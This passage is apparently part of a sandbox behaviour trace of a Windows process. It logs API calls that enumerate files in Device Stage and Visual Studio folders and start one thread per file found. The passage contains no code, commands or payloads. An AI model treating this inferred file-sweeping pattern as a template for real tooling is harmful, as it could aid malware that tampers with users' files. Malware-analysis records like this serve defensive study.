Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" [0152.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x119720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d8 [0152.385] FindNextFileW (in: hFindFile=0x1ced56e0, lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1 [0152.385] wcscmp (_String1="superbar.png", _String2=".") returned 1 [0152.385] wcscmp (_String1="superbar.png", _String2="..") returned 1 [0152.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x119240 [0152.386] wcscpy (in: _Dest=0x119240, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0152.386] wcscat (in: _Dest=0x119240, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0152.386] wcscat (in: _Dest=0x119240, _Source="superbar.png" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" [0152.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x119240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1780 [0152.386] FindNextFileW (in: hFindFile=0x1ced56e0, lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0 [0152.387] FindClose (in: hFindFile=0x1ced56e0 | out: hFindFile=0x1ced56e0) returned 1 [0152.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98820) returned 1 [0152.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106ac0) returned 1 [0152.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64160) returned 1 Thread: id = 1548 os_tid = 0x1a84 [0121.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1079c0 [0121.034] wcscpy (in: _Dest=0x1079c0, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0121.034] wcscat (in: _Dest=0x1079c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0121.034] wcscat (in: _Dest=0x1079c0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*" [0121.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98a90 [0121.034] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d8b0 [0121.035] wcscmp (_String1=".", _String2=".") returned 0 [0121.035] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.035] wcscmp (_String1="..", _String2=".") returned 1 [0121.035] wcscmp (_String1="..", _String2="..") returned 0 [0121.035] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0af2f7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x9c0af2f7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x9c0af2f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0121.035] wcscmp (_String1="background.png", _String2=".") returned 1 [0121.035] wcscmp (_String1="background.png", _String2="..") returned 1 [0121.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1182d0 [0121.035] wcscpy (in: _Dest=0x1182d0, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0121.036] wcscat (in: _Dest=0x1182d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0121.036] wcscat (in: _Dest=0x1182d0, _Source="background.png" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" [0150.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1182d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd7c [0150.909] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2feb941, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2feb941, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x769, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0150.909] wcscmp (_String1="behavior.xml", _String2=".") returned 1 [0150.909] wcscmp (_String1="behavior.xml", _String2="..") returned 1 [0150.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4205e0b0 [0150.909] wcscpy (in: _Dest=0x4205e0b0, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0150.909] wcscat (in: _Dest=0x4205e0b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0150.909] wcscat (in: _Dest=0x4205e0b0, _Source="behavior.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" [0150.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205e0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22fc [0150.910] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1 [0150.910] wcscmp (_String1="watermark.png", _String2=".") returned 1 [0150.910] wcscmp (_String1="watermark.png", _String2="..") returned 1 [0150.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205ea70 [0150.910] wcscpy (in: _Dest=0x4205ea70, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0150.910] wcscat (in: _Dest=0x4205ea70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0150.910] wcscat (in: _Dest=0x4205ea70, _Source="watermark.png" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" [0150.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205ea70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2300 [0150.911] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0 [0150.911] FindClose (in: hFindFile=0x1cd9d8b0 | out: hFindFile=0x1cd9d8b0) returned 1 [0150.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98a90) returned 1 [0150.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0150.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ade40) returned 1 Thread: id = 1549 os_tid = 0x1a88 [0121.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202adb80 [0121.037] wcscpy (in: _Dest=0x202adb80, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies" [0121.037] wcscat (in: _Dest=0x202adb80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\" [0121.038] wcscat (in: _Dest=0x202adb80, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*" [0121.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98d00 [0121.038] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*", lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d5b0 [0121.038] wcscmp (_String1=".", _String2=".") returned 0 [0121.038] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.038] wcscmp (_String1="..", _String2=".") returned 1 [0121.038] wcscmp (_String1="..", _String2="..") returned 0 [0121.038] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3eb700, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61027a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a3eb700, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x257a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Project.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0121.038] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.Project.dll", _String2=".") returned 1 [0121.038] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.Project.dll", _String2="..") returned 1 [0121.038] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3eb700, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61027a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a3eb700, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x257a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Project.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0121.038] FindClose (in: hFindFile=0x1cd9d5b0 | out: hFindFile=0x1cd9d5b0) returned 1 [0121.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98d00) returned 1 [0121.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adb80) returned 1 [0121.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd640b0) returned 1 Thread: id = 1550 os_tid = 0x1a8c [0121.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd640b0 [0121.041] wcscpy (in: _Dest=0x1cd640b0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies" [0121.041] wcscat (in: _Dest=0x1cd640b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\" [0121.041] wcscat (in: _Dest=0x1cd640b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*" [0121.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98d00 [0121.041] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*", lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5800 [0122.426] wcscmp (_String1=".", _String2=".") returned 0 [0122.426] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.426] wcscmp (_String1="..", _String2=".") returned 1 [0122.426] wcscmp (_String1="..", _String2="..") returned 0 [0122.427] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f842200, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f842200, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x337a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0122.427] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", _String2=".") returned 1 [0122.427] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", _String2="..") returned 1 [0122.427] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b54f00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x526bacf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50b54f00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x197b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0122.427] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", _String2=".") returned 1 [0122.427] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", _String2="..") returned 1 [0122.427] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57dc5d00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57dc5d00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x97b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0122.427] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll", _String2=".") returned 1 [0122.427] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll", _String2="..") returned 1 [0122.427] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x590d8a00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x590d8a00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x117a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0122.427] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll", _String2=".") returned 1 [0122.427] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll", _String2="..") returned 1 [0122.427] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ab3000, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56ab3000, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x9758, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0122.427] wcscmp (_String1="System.AddIn.dll", _String2=".") returned 1 [0122.427] wcscmp (_String1="System.AddIn.dll", _String2="..") returned 1 [0122.427] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ab3000, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56ab3000, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x9758, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0122.427] FindClose (in: hFindFile=0x1ced5800 | out: hFindFile=0x1ced5800) returned 1 [0122.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98d00) returned 1 [0122.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd640b0) returned 1 [0122.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202add90) returned 1 Thread: id = 1551 os_tid = 0x1a90 [0121.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050b3d0 [0121.062] wcscpy (in: _Dest=0x2050b3d0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" [0121.062] wcscat (in: _Dest=0x2050b3d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\" [0121.062] wcscat (in: _Dest=0x2050b3d0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*" [0121.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98f70 [0121.063] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*", lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5740 [0122.425] wcscmp (_String1=".", _String2=".") returned 0 [0122.425] FindNextFileW (in: hFindFile=0x1ced5740, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 